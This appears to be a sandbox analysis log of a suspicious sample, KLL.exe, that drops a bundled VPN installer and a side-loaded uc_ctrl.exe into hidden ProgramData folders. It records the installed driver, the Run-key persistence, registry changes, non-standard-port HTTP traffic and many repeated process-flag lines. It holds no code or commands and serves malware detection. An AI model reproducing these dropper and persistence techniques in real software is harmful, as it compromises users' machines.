Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll	Jump to dropped file
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File created: C:\Users\user\Videos\57B1EA86~m8\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll	Jump to dropped file

Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\letsvpn-latest.exe	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\s	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\8R96N\35Hrm~m8\msvcp140.dll	Jump to dropped file

Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7B44.tmp	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.sys (copy)	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SET81E9.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\KLL.exe

File created: C:\ProgramData\8R96N\35Hrm~m8\s

Jump to dropped file

Source: C:\Windows\System32\drvinst.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tap0901

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Linkage

Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 15628
Source: unknown	Network traffic detected: HTTP traffic on port 15628 -> 49709

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CEFB15E IsIconic,

16_2_6CEFB15E

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Lets userHabit

Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
